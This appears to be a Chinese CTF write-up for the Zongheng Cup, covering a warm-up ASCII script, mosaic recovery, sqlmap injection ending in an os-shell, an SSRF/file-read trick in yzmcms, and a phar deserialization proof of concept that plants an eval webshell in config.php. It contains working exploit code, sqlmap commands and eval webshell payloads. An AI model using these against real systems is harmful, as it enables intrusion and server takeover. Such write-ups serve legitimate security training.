MISC签到
因为之前蓝帽杯的签到题出的是十进制转ASCII码的,我当时用ASCII码转换器抢了一个一血,但是今天纵横杯的签到却是八进制转ASCII码的,没抢上一血,也没有提前准备好的脚本,所以这里补充写一个Python脚本,方便下次快速应急
def dec_to_str(dec): print(chr(int(dec.strip())),end="") def oct_to_str(oct): int_str=int(oct.strip(),8) print(chr(int_str),end="") if __name__ == '__main__': print('''该脚本适用于逗号分隔的进制转字符串 example: 102,108 1.十进制转字符串 2.八进制转字符串 ''') choose = input('请选择 1 or 2 \n') if choose == '1': scale = input('请输入你要进行转换的进制') scale = scale.split(',') for i in scale: dec_to_str(i) if choose == '2': scale = input('请输入你要进行转换的进制') scale = scale.split(',') for i in scale: oct_to_str(i)
flag{w3lcome_to_2ong_h3ng_be1}
MISC马赛克
题目描述:神秘人发给小明一张图片,上面打满了马赛克,聪明的小明随之进行了马赛克还原,睁大双眼在歪歪斜斜的字体里辨识出原来的字符。提交格式:flag{原来的字符}
题目给的附件就是一个马赛克图片,利用脚本进行去模糊:https://github.com/beurtschipper/Depix
Python3环境下执行python3 depix.py -p ./mosaic.png -s ./images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o output.png
生成output.png去掉了马赛克,但仍有一点模糊,最终flag:flag{0123468abd68abd0123}
WEBeasyci
访问首页是一个登录框,且看URL很明显是TP框架搭建的,碰到登录框首先尝试注入,利用BurpSuite抓个请求包,保存为1.txt,放到sqlmap进行跑(没想到竟然真的能跑出来,没过率的太少见了)
sqlmap一把梭最后成功得到admin的账号密码: admin | c3762483bc73d0b7943156d43911ce38
sqlmap -r 1.txt –dbs
sqlmap -r 1.txt -D p3rh4ps –tables
sqlmap -r 1.txt -D p3rh4ps -T users –columns
sqlmap -r 1.txt -D p3rh4ps -T users -C password,username –dump
但是登录上去后没有用,考点不在这里,其中–sql-shell可以拿到是dba权限,最后就想要–os-shell但是不知道网站的绝对路径啊,所以第一步要找到网站的绝对路径,然后在这篇文章找到一个超级细节的地方
https://blog.csdn.net/mashuai720/article/details/83030647
apache2的默认web目录:/var/www/html。(在/etc/apache2/sites-enabled/000-default.conf 里可以看到这个 DocumentRoot /var/www/html 配置)
接下来通过sqlmap读取/etc/apache2/sites-enabled/000-default.conf文件找到网站的绝对路径
sqlmap -r 1.txt –file-read “/etc/apache2/sites-enabled/000-default.conf” –threads 10
得到网站根目录是/var/sercet/html
然后通过–os-shell进行写马
sqlmap -r 1.txt –os-shell
最后在/etc目录下拿到flag
flag{3dd93e18-fddc-4bca-b21b-00cb69898fe0}
WEBezcms
打开题目链接可以看到是yzmcms v5.8的最新版,网上没有什么漏洞利用文章,于是上github找版本信息,在issue中找到一些问题https://github.com/yzmcms/yzmcms/issues/53
存在SSRF,然后通过dirsearch发现存在源码泄露,下载www.zip,并在源码中找到数据库的用户名和密码,猜测密码复用,利用该密码成功登入管理员账号
登录上后台在序列网址那填写自己VPS上的地址,建立一个cc.html文件
cc.html
<test123><a href=”httpxxxx://../../../../../../flag”>flag</a></test123>
至于为什么这么构造呢,是因为当构造file协议读取时
定位一下这个内容:发现判断有问题,就判断了url前4个字符 意味着httpxxxx:// 只要不是http https就可以
根据:
使用file_get_contents来获取源代码。
使用ticks 绕过 file_get_contents识别不了的协议会当作目录,域名算上就就是两个目录多加一些../ 就可以到达根目录。所以构造完采集管理页面后,提交,再点击下采集网址就可以在最后的采集测试中看到flag。
WEB hello_php
此题因为比赛平台关掉了,所以搭建在本地进行复现,操作与比赛环境无二,非常遗憾当时比赛这道题贴脸一下午,要是有小伙伴在一块看题指定出了,自己当时没想到,看了别人的WP豁然开朗啊,哎还是太菜了。
首先也是源码泄露www.zip下载得到。下面我贴上关键代码
class.php
<?php include('config.php'); class Config{ public $title; public $comment; public $logo_url; public function __construct(){ global $title; global $comment; global $logo_url; $this->title= $title; $this->comment = $comment; $this->logo_url = $logo_url; } public function upload_logo(){ if(!empty($_FILES)){ $path='./static/'.md5(time()).'.jpg'; move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg'); } } public function update_title($title,$comment){ #垃圾老板就给我这么点钱,叫我怎么帮你做事。 } public function __destruct(){ $file = file_get_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php'); $file = preg_replace('/\$title=\'.*?\';/', "\$title='$this->title';", $file); $file = preg_replace('/\$comment=\'.*?\';/', "\$commnet='$this->comment';", $file); file_put_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php', $file); } } $config=new Config; ?>
index.php
<?php include_once('header.php');?> <?php if(isset($_GET['img'])&&file_exists($_GET['img'])){?> //file_exists会触发phar反序列化 //img=phar://static/9e5487a28eaf35aa1b51b5c049001891.jpg <img src="<?php echo $_GET['img'];?>" class="d-inline-block align-top" alt="" loading="lazy"> <?php } else {?> <img src="<?php echo $config->logo_url;?>" class="d-inline-block align-top" alt="" loading="lazy"> <?php }?> <p><?php echo $config->comment;?></p> <?php echo $footer;?>
然后访问login.php需要登录,在config.php里找到登录用户名和密码
<?php error_reporting(0); $title = 'XXX管理系统'; $commnet = 'XXXCMS是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。XXXCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于 PHP MySQL 的技术开发,全部源码开放。'; $logo_url = './static/default.png'; $admin_user = 'admin'; $admin_pass = 'admin888'; $footer = << < EOD <script src = "https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" > </script> <script src = "https://cdn.jsdelivr.net/npm/bootstrap@4.5.0/dist/js/bootstrap.min.js"></script> </body> </html> EOD;
登录后有一个文件上传点,再看class.php里对文件上传的代码“move_uploaded_file($_FILES[“file”][“tmp_name”],’./static/’.md5(time()).’.jpg’);”很明显上传的任何文件都会被时间戳md5加密后重命名然后拼接.jpg,所以这里上传以后要写一个脚本爆破文件名。
再看index.php,存在file_exists函数判断且要通过img参数传递,很明显的phar反序列化题目。而漏洞点就是class.php里的__destruct模数方法,它会将title和comment的值写入到config.php文件里,所以构造代码绕过即可(这里注意config.php里的$title是单引号,当时做懵了死活不知道咋构造了)其实很简单,闭合前面的单引号和<?php再重新构造即可,POC代码如下:
<?php class Config { public $title = "'?><?php @eval(\$_POST[cmd]);?>//"; public $comment = "2"; public $logo_url = "3"; } $config = new Config; unlink("phar.phar"); //删除原有存在的 $phar = new Phar("phar.phar");//生成 $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub,加入GIF头绕过内容验证 $phar->setMetadata($config); //加入序列化内容 $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering(); ?>
然后上传生成的phar文件,上传后抓紧跑下time()值
然后写个python脚本快速生成下到这个时间之前一段的md5值,例如:
import hashlib for i in range(1609043050,1609043105): print(hashlib.md5(str(i).encode('utf-8')).hexdigest())
将生成的结果整理一下,写一个requests请求脚本爆破一下
import requests list = ['51e853aeef632049cdda958db77c9e37','20ab427237faf45b52fc1ccac7fca9cc','44d3b4d9bce7cae301db88431be3d4ae','7c5083f4e0f5a0b6e0644b60069228d6','e370f1f09b1915278b54f41010004615','85c9ff0e67341f05afd579778b55f468','6391e914f109176cd4d21f34593566cd','e91f22d36dc981cf2ce9bf5ad5418f2c','9b68fc34b75648d49ad41b32e12daeb1','3ea1ac4076287461d5c463008093d219','7f83a4eaa59ac9b7a68aded1141a5239','2017606a194d2bee03ed62781c5490f0','fa863eb256f7e8b88fd08fca90af3ec5','79fc011a52a2fe67f3e03105c2d14ae0','7d771888b328a70fdc72c3638a93f65a','4c65c30f4ef0a3bfe902d2be9b551d6f','80b3b16959d19505455e6d82b8c4dce6','6252bbc43106980191320c00d7a63791','81308fa7346e159b60cd46dae7c909d0','6f13bb9db14949b8ceb51c4dda524076','6a2856a042bf9af22660f67adc82c559','a589283411cdd4942af42deae00712c9','e900dcdf22ad69546929a21f71758c77','820105387f10ef1a412b54bcc5ac8d74','5f4c2bdddaaf0df8f95bea31b427f5c0','17e92a78aa87e423c4dd4b97f100174c','282b25123b8406c8467fa11b6f14a6cd','586b2ce56a2243e69ae6f4ec86a71e8c','951da111bd7ccdd9a40e29b03c22ddd4','ed0bb161f98dfb343c20664d9376d43d','c5d443341e7ae66bcb2f75b6162018b1','9888d078caea4269e2023ee9bdb5b613','f870aa0564b862fd9096af2fd8b2790a','b7b9ff43b546ce763fa7a7be1113221e','1873ba3fe47185c1231104104927df0a','663f6bce5c68226f6eeef4c738a55d94','bcfdf60ecf43a4f97b9982de7c3f6444','91210b8a9aca4c4cf5098cb32069e38f','c0241e5d1577a46295d5da7dd05ffc19','76d043792ff9e814ca0e75d2165a60ec','e3637b6086e922dbb34344ce076eebde','bb0072e9067ec907c9bb581f730488a0','00032a6a96c3598e6dbc94c276b71e8b','1ffc41a694e0595d11a88d0d9b5385a8','7a18c84ba4ac867fc370ebc0930c47ff','b0dbb351c3ed04bdfe07a63dcdfb59c7','fe4e4678ba5b5862ed3c957bfba09bfc','5a9334a33ee806838d680fec683e8106','a67b98b92d07880168087f3ace6b786d','e8141bda086988852a611fb9e0323290','6f56ca221f23143a51dd296050fc029e','dfb7efe5391ea69414db0befee0bf59f'] url = 'http://eci-2zej9k7i0kqc4h22cw32.cloudeci1.ichunqiu.com/static/' for i in list: url1 = url+i+'.jpg' res = requests.get(url1) if res.status_code == 200: print(url1)
访问成功会给出图片地址,这里本地测试图片名称为9e5487a28eaf35aa1b51b5c049001891.jpg,然后回到首页传递img=phar://static/9e5487a28eaf35aa1b51b5c049001891.jpg即可成功反序列化,再访问config.php通过POST请求执行个phpinfo得到回显,接下来蚁剑链接即可
比赛这里我因为没有做到,所以后面没法继续,看了别的师傅的WP,知道后面还有一个bypass_disablefunction,通过蚁剑的插件即可绕过。这个操作就不是很难了,都是常考点。
WEB大家一起来审计
这道题因为当时比赛一直在扣上一道,所以没有仔细看,这里给出其他大佬的WP
https://mp.weixin.qq.com/s/U7RZ-F5DsuDgKqjlz3I5yw
本质用到了“${eval($_POST[123])}”,双引号解析的操作,这个点我在上一道题还一顿扣,结果在这个题考的,真是太糟糕了